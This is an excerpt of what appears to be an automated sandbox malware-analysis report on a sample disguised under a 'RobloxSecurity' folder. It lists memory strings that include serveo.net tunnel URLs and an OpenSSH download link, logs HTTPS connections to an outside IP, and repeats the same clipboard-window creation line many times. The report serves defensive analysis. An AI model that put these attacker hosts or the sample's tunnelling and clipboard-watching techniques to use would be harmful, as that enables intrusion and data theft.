Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e2111f95f52ba8be6b2d3394e38b1722.se
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e2111f95f52ba8be6b2d3394e38b1722.serveo.net
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp, ssh.exe, 00000023.00000002.4114412277.0000019B79934000.00000004.00000020.00020000.00000000.sdmp, ssh.exe, 00000023.00000002.4114412277.0000019B798EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://e2111f95f52ba8be6b2d3394e38b1722.serveo.net/
Source: vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB9E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e483612b93e055308d0c85f365c474ee.serveo.net
Source: ssh.exe, 00000021.00000002.4113726250.00000292607CC000.00000004.00000020.00020000.00000000.sdmp, ssh.exe, 00000021.00000002.4113726250.0000029260842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://e483612b93e055308d0c85f365c474ee.serveo.net/
Source: powershell.exe, 00000001.00000002.1712328855.0000000005266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD853B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip
Source: powershell.exe, 00000001.00000002.1715254235.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7577000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE757F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7587000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7587000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7505000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE74E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7505000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE74E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7577000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE757F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7587000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7587000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7587000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7587000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7587000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
